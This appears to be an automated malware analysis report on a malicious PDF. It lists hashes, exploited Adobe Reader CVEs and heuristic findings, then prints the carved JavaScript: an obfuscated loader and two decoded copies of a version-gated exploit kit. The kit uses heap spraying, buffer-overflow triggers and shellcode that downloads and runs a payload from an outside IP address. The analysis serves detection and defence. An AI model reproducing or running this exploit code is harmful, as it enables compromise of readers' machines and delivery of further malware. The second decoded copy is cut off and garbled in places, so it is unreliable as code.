Malicious PDF — malware analysis report

Static analysis result for SHA-256 34ab3954fcf79b42…

MALICIOUS

PDF

12.3 KB First seen: 2026-05-09
MD5: d9934b238dbe99859c2261d6bf8b54ec SHA-1: d05eef8f21415e8f483f57dd309f57212a20fca7 SHA-256: 34ab3954fcf79b42dd97cd13654277b8735e3de224d012cc3b4e36123c219f4e
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://66.199.229.50/w.php?f=62&e=5. The use of multiple CVEs and JavaScript indicates a sophisticated exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://66.199.229.50/w.php?f=62&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11454 bytes
SHA-256: 2cba821a58e95348da1740b0b2b7d7d273c11d7986eb54652a3d22876184f5b2
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(12,62,42,74,42,16,68,16,45,45,54,47,5,22,3,16,6,11,49,52,25,25,6,11,62,30,74,9,6,11,49,32,62,30,6,11,40,32,74,9,6,11,74,58,52,9,6,11,52,52,32,62,6,11,25,9,30,59,6,11,9,59,49,54,6,11,49,54,52,59,6,11,59,30,9,59,6,11,40,59,49,54,6,11,32,25,68,30,6,11,40,25,49,54,6,11,52,52,59,49,6,11,25,25,51,54,6,11,32,74,49,54,6,11,59,52,52,30,6,11,52,52,40,9,6,11,49,68,15,30,6,11,68,32,74,74,6,11,62,62,68,59,6,11,54,49,62,62,6,11,9,59,49,54,6,11,30,52,52,59,6,11,52,58,9,25,6,11,40,32,59,25,6,11,49,40,62,54,6,11,15,9,52,9,6,11,74,9,49,32,6,11,32,68,40,32,6,11,74,54,74,58,6,11,32,68,9,30,6,11,49,54,32,25,6,11,52,30,40,32,6,11,40,9,49,54,6,11,40,49,52,32,6,11,62,32,59,52,6,11,49,54,32,25,6,11,15,59,40,25,6,11,62,32,59,52,6,11,30,58,52,52,6,11,9,68,9,58,6,11,27,51,62,30,6,11,30,32,59,52,6,11,51,54,52,52,6,11,54,74,59,62,6,11,52,49,68,59,6,11,40,9,62,15,6,11,30,68,59,49,6,11,59,51,30,54,6,11,51,27,59,52,6,11,74,54,9,59,6,11,52,54,62,68,6,11,40,32,68,62,6,11,32,74,74,25,6,11,32,74,49,54,6,11,59,52,15,9,6,11,25,25,51,51,6,11,59,30,49,54,6,11,49,51,9,54,6,11,74,30,9,25,6,11,32,9,62,62,6,11,59,30,15,9,6,11,51,49,49,54,6,11,51,51,59,52,6,11,59,9,49,54,6,11,59,52,49,54,6,11,27,54,30,32,6,11,32,58,32,74,6,11,74,54,30,52,6,11,27,51,32,52,6,11,25,49,49,54,6,11,49,59,15,59,6,11,59,30,40,51,6,11,40,9,52,52,6,11,58,25,59,52,6,11,62,52,74,54,6,11,25,49,49,54,6,11,49,54,59,49,6,11,25,27,62,40,6,11,32,58,59,32,6,11,58,49,74,49,6,11,62,62,62,62,6,11,74,15,62,62,6,11,74,49,62,58,6,11,59,59,59,59,6,11,59,59,59,59,6,11,32,59,32,49,6,11,9,59,25,27,6,11,62,62,25,49,6,11,59,59,59,59,6,11,32,59,59,59,6,11,30,59,49,52,6,11,32,59,68,58,6,11,49,54,32,32,6,11,49,54,74,30,6,11,68,59,32,74,6,11,30,52,49,52,6,11,62,62,59,32,6,11,25,49,74,52,6,11,25,74,25,62,6,11,59,59,59,59,6,11,40,32,25,49,6,11,25,30,40,15,6,11,32,9,25,51,6,11,68,25,62,62,6,11,30,9,49,52,6,11,49,54,59,49,6,11,74,49,74,49,6,11,62,62,25,68,6,11,62,62,62,62,6,11,59,15,74,54,6,11,40,15,74,54,6,11,74,30,49,68,6,11,59,68,59,9,6,11,59,59,59,59,6,11,32,30,49,51,6,11,59,30,15,9,6,11,59,9,30,40,6,11,40,15,15,9,6,11,25,40,25,32,6,11,30,40,40,52,6,11,15,9,9,9,6,11,40,25,59,9,6,11,52,52,40,15,6,11,30,40,52,15,6,11,15,9,9,9,6,11,15,59,59,49,6,11,40,52,15,51,6,11,32,52,15,59,6,11,62,49,25,49,6,11,59,59,59,59,6,11,62,62,59,59,6,11,59,30,32,25,6,11,74,49,49,54,6,11,30,58,52,52,6,11,30,40,32,68,6,11,68,51,9,9,6,11,40,40,59,59,6,11,25,15,40,59,6,11,30,40,40,9,6,11,68,51,9,9,6,11,15,74,59,32,6,11,25,30,25,9,6,11,30,25,25,30,6,11,68,51,9,9,6,11,59,59,59,58,6,11,49,27,32,58,6,11,59,9,30,68,6,11,49,49,52,59,6,11,68,51,9,9,6,11,9,68,59,9,6,11,25,27,32,68,6,11,25,27,59,59,6,11,32,52,59,59,6,11,25,27,32,40,6,11,62,62,59,59,6,11,68,9,32,25,6,11,30,59,49,32,6,11,68,25,40,32,6,11,59,59,25,27,6,11,62,62,32,52,6,11,59,9,32,25,6,11,59,59,25,27,6,11,74,54,49,52,6,11,32,52,59,30,6,11,32,25,62,62,6,11,49,52,59,9,6,11,59,30,30,52,6,11,59,15,74,54,6,11,68,52,74,54,6,11,49,59,9,40,6,11,59,59,52,62,6,11,62,27,40,32,6,11,49,59,9,40,6,11,59,59,52,62,6,11,30,9,40,32,6,11,59,59,25,27,6,11,62,74,25,27,6,11,32,25,62,62,6,11,74,49,59,49,6,11,62,74,58,30,6,11,62,62,62,62,6,11,9,74,49,74,6,11,74,30,59,74,6,11,62,74,58,49,6,11,59,74,49,27,6,11,25,62,49,58,6,11,54,51,59,68,6,11,30,27,52,52,6,11,32,54,49,27,6,11,30,25,68,54,6,11,40,58,9,25,6,11,68,27,52,25,6,11,40,59,15,62,6,11,40,9,25,49,6,11,40,59,40,9,6,11,15,62,52,27,6,11,52,25,15,62,6,11,15,74,52,25,6,11,52,58,52,68,6,11,15,74,52,58,6,11,52,15,52,15,6,11,15,74,52,58,6,11,52,59,52,32,6,11,40,40,15,62,6,11,40,59,15,74,6,11,40,59,25,49,6,11,25,25,52,62,6,11,52,25,52,51,6,11,15,25,52,15,6,11,52,51,25,32,6,11,59,59,52,32,6,11,59,59,59,59,16,8,62,11,35,30,19,12,10,35,38,74,50,29,70,42,70,27,21,14,4,45,67,33,48,12,39,74,42,70,27,0,39,74,35,22,19,48,71,15,55,14,4,45,67,70,27,53,3,70,27,8,1,70,27,3,70,27,0,5,11,54,5,19,70,12,35,22,42,59,21,14,4,43,15,45,8,70,74,19,11,70,35,38,70,27,8,1,38,62,11,35,30,19,12,10,35,38,54,7,42,45,67,29,27,70,38,51,46,22,3,35,74,33,38,13,70,70,27,4,42,45,8,29,27,70,38,29,33,3,59,7,59,30,59,30,59,30,59,30,8,29,27,70,38,27,51,51,70,3,59,7,9,59,59,59,59,59,8,29,27,70,38,23,27,4,39,10,27,51,3,11,35,74,5,30,27,23,74,42,54,47,5,22,45,8,29,27,70,38,5,30,34,39,74,35,3,23,27,4,39,10,27,51,0,39,74,35,22,19,48,71,15,8,29,27,70,38,14,4,3,27,51,51,70,64,42,5,30,34,39,74,35,53,59,7,52,49,45,8,29,27,70,38,4,27,70,5,23,3,11,35,74,5,30,27,23,74,42,63,6,11,58,59,58,59,6,11,58,59,58,59,63,45,8,4,27,70,5,23,3,74,50,29,70,42,4,27,70,5,23,21,14,4,45,8,29,27,70,38,30,10,11,35,19,15,3,42,29,33,64,59,7,9,59,59,59,59,59,45,43,27,51,51,70,8,62,10,70,42,29,27,70,38,30,10,11,35,19,3,59,8,30,10,11,35,19,55,30,10,11,35,19,15,8,30,10,11,35,19,53,53,45,67,51,46,22,20,30,10,11,35,19,26,3,4,27,70,5,23,53,23,27,4,39,10,27,51,8,1,38,29,27,70,38,10,29,74,70,62,39,10,33,3,11,35,74,5,30,27,23,74,42,63,6,11,59,30,59,30,6,11,59,30,59,30,63,45,8,33,48,12,39,74,42,10,29,74,70,62,39,10,33,0,39,74,35,22,19,48,55,9,9,58,32,15,45,67,10,29,74,70,62,39,10,33,53,3,10,29,74,70,62,39,10,33,8,1,38,19,48,12,5,0,30,10,39,39,27,54,24,19,10,70,74,3,18,10,39,39,27,54,0,30,10,39,39,74,30,19,31,37,27,12,39,36,35,62,10,42,67,5,11,54,47,72,63,63,21,37,5,22,72,10,29,74,70,62,39,10,33,1,45,8,1,38,62,11,35,30,19,12,10,35,38,23,70,12,35,19,62,42,45,67,35,10,23,3,11,35,74,5,30,27,23,74,42,63,6,11,59,13,59,13,6,11,59,13,59,13,6,11,59,13,59,13,6,11,59,13,59,13,63,45,8,29,27,70,38,23,27,4,39,10,27,51,3,11,35,74,5,30,27,23,74,42,54,47,5,22,45,8,48,74,27,23,54,39,10,30,46,3,35,10,23,53,23,27,4,39,10,27,51,8,54,12,22,54,39,10,30,46,3,11,35,74,5,30,27,23,74,42,63,6,11,59,13,59,13,6,11,59,13,59,13,63,45,8,48,74,27,51,74,70,5,12,50,74,3,15,59,8,5,23,70,27,4,3,48,74,27,51,74,70,5,12,50,74,53,48,74,27,23,54,39,10,30,46,0,39,74,35,22,19,48,8,33,48,12,39,74,42,54,12,22,54,39,10,30,46,0,39,74,35,22,19,48,55,5,23,70,27,4,45,67,54,12,22,54,39,10,30,46,53,3,54,12,22,54,39,10,30,46,8,1,38,62,12,39,39,54,39,10,30,46,3,54,12,22,54,39,10,30,46,0,5,11,54,5,19,70,12,35,22,42,59,21,5,23,70,27,4,45,8,54,39,10,30,46,3,54,12,22,54,39,10,30,46,0,5,11,54,5,19,70,12,35,22,42,59,21,54,12,22,54,39,10,30,46,0,39,74,35,22,19,48,64,5,23,70,27,4,45,8,33,48,12,39,74,42,54,39,10,30,46,0,39,74,35,22,19,48,53,5,23,70,27,4,55,59,7,9,59,59,59,59,45,67,54,39,10,30,46,3,54,39,10,30,46,53,54,39,10,30,46,53,62,12,39,39,54,39,10,30,46,8,1,38,37,74,37,3,35,74,33,38,13,70,70,27,4,42,45,8,62,10,70,42,12,3,59,8,12,55,68,9,59,59,8,12,53,53,45,67,37,74,37,20,12,26,3,54,39,10,30,46,53,48,74,27,23,54,39,10,30,46,8,1,38,29,27,70,38,35,11,37,3,68,15,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,58,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,8,11,19,12,39,0,23,70,12,35,19,62,42,63,6,9,32,59,59,59,62,63,21,35,11,37,45,8,1,38,62,11,35,30,19,12,10,35,38,22,74,19,12,30,10,35,42,45,67,29,27,70,38,27,70,70,4,3,35,74,33,38,13,70,70,27,4,42,45,8,12,62,42,27,23,23,0,51,10,30,0,18,10,39,39,27,54,0,22,74,19,36,30,10,35,45,67,29,27,70,38,23,27,4,39,10,27,51,3,11,35,74,5,30,27,23,74,42,54,47,5,22,45,8,29,27,70,38,48,44,14,32,59,59,18,69,3,23,27,4,39,10,27,51,0,39,74,35,22,19,48,71,15,8,29,27,70,38,14,4,3,59,7,9,59,59,59,59,59,64,42,48,44,14,32,59,59,18,69,53,59,7,52,49,45,8,29,27,70,38,4,27,70,5,23,3,11,35,74,5,30,27,23,74,42,63,6,11,58,59,58,59,6,11,58,59,58,59,63,45,8,4,27,70,5,23,3,74,50,29,70,42,4,27,70,5,23,21,14,4,45,8,29,27,70,38,23,32,13,47,2,25,32,62,3,42,59,7,59,30,59,30,59,30,59,30,64,59,7,9,59,59,59,59,59,45,43,59,7,9,59,59,59,59,59,8,62,10,70,42,29,27,70,38,29,14,30,75,73,58,25,4,3,59,8,29,14,30,75,73,58,25,4,55,23,32,13,47,2,25,32,62,8,29,14,30,75,73,58,25,4,53,53,45,67,27,70,70,4,20,29,14,30,75,73,58,25,4,26,3,4,27,70,5,23,53,23,27,4,39,10,27,51,8,1,38,29,27,70,38,19,41,65,48,69,54,28,33,3,11,35,74,5,30,27,23,74,42,63,6,59,58,63,45,8,33,48,12,39,74,42,19,41,65,48,69,54,28,33,0,39,74,35,22,19,48,55,59,7,9,59,59,59,45,67,19,41,65,48,69,54,28,33,53,3,19,41,65,48,69,54,28,33,8,1,38,19,41,65,48,69,54,28,33,3,63,69,0,63,53,19,41,65,48,69,54,28,33,8,27,23,23,0,51,10,30,0,18,10,39,39,27,54,0,22,74,19,36,30,10,35,42,19,41,65,48,69,54,28,33,45,8,1,1,38,27,56,39,11,22,12,35,5,3,27,23,23,0,23,39,11,22,36,35,5,8,29,27,70,38,5,29,3,23,27,70,5,74,36,35,19,42,27,23,23,0,29,12,74,33,74,70,61,74,70,5,12,10,35,0,19,10,24,19,70,12,35,22,42,45,0,30,48,27,70,13,19,42,59,45,45,8,62,10,70,42,29,27,70,38,12,3,59,8,12,55,27,56,39,11,22,12,35,5,0,39,74,35,22,19,48,8,12,53,53,45,67,12,62,42,27,56,39,11,22,12,35,5,20,12,26,0,35,27,37,74,3,3,16,31,24,30,70,12,23,19,16,45,67,29,27,70,38,39,29,3,27,56,39,11,22,12,35,5,20,12,26,0,29,74,70,5,12,10,35,8,1,1,38,12,62,42,42,39,29,3,3,58,45,17,17,42,42,5,29,3,3,49,45,57,57,42,39,29,55,3,49,0,68,15,45,45,45,67,22,74,19,12,30,10,35,42,45,8,1,74,39,5,74,38,12,62,42,39,29,3,3,40,0,68,45,67,23,70,12,35,19,62,42,45,8,1,74,39,5,74,38,12,62,42,42,42,5,29,3,3,25,45,17,17,42,5,29,3,3,40,45,45,57,57,42,39,29,55,40,0,68,68,45,45,67,54,7,42,45,8,1,74,39,5,74,38,12,62,42,42,39,29,60,3,58,0,68,45,17,17,42,39,29,55,3,58,0,15,45,17,17,42,39,29,60,3,49,0,68,52,45,17,17,42,39,29,55,3,49,0,68,40,45,45,67,62,11,35,30,19,12,10,35,38,27,42,45,67,11,19,12,39,0,23,70,12,35,19,51,42,16,23,66,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,68,38,72,38,4,4,4,4,68,68,68,16,21,35,74,33,38,73,27,19,74,42,45,45,8,1,29,27,70,38,48,3,27,23,23,0,23,39,11,22,36,35,5,8,62,10,70,42,29,27,70,38,62,3,59,8,62,55,48,0,39,74,35,22,19,48,8,62,53,53,45,67,12,62,42,48,20,62,26,0,35,27,37,74,3,3,16,31,24,30,70,12,23,19,16,45,67,29,27,70,38,12,3,48,20,62,26,0,29,74,70,5,12,10,35,8,1,1,38,12,62,42,42,12,60,49,0,68,15,45,57,57,42,12,55,49,0,15,45,45,67,30,3,35,74,33,38,13,70,70,27,4,42,45,8,29,27,70,38,51,3,11,35,74,5,30,27,23,74,42,16,6,11,58,59,58,59,6,11,58,59,58,59,16,45,8,29,27,70,38,74,3,11,35,74,5,30,27,23,74,42,54,47,5,22,45,8,33,48,12,39,74,42,51,0,39,74,35,22,19,48,55,3,59,7,49,59,59,59,45,67,51,53,3,51,8,1,51,3,51,0,5,11,54,5,19,70,42,59,21,59,7,49,59,59,59,64,74,0,39,74,35,22,19,48,45,8,62,10,70,42,62,3,59,8,62,55,15,58,59,59,8,62,53,53,45,67,30,20,62,26,3,51,53,74,8,1,27,42,45,8,27,42,45,8,19,70,4,67,19,48,12,5,0,37,74,51,12,27,0,35,74,33,56,39,27,4,74,70,42,35,11,39,39,45,8,1,30,27,19,30,48,42,74,45,67,1,27,42,45,8,1,1);
a=new String(".}K=ys%x;4ouiAq2'|Ct[,gpS6]aGvcE5w_nIm l7U(/W)kjh8zd3+b<P&90>Vf'-M@{1Nr*:DeQ");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: fb252dc81c3dcd20f9592b00f32e924e7c762fe793052eddcae8af7adcdcce12
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 6c6c402e6cd97e4fc0b50522017c5f7c62b303f3ba77b22191b286c3c798fc55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e36%u3931%u2e39%u3232%u2e39%u3035%u772f%u702e%u7068%u663f%u363d%u2632%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	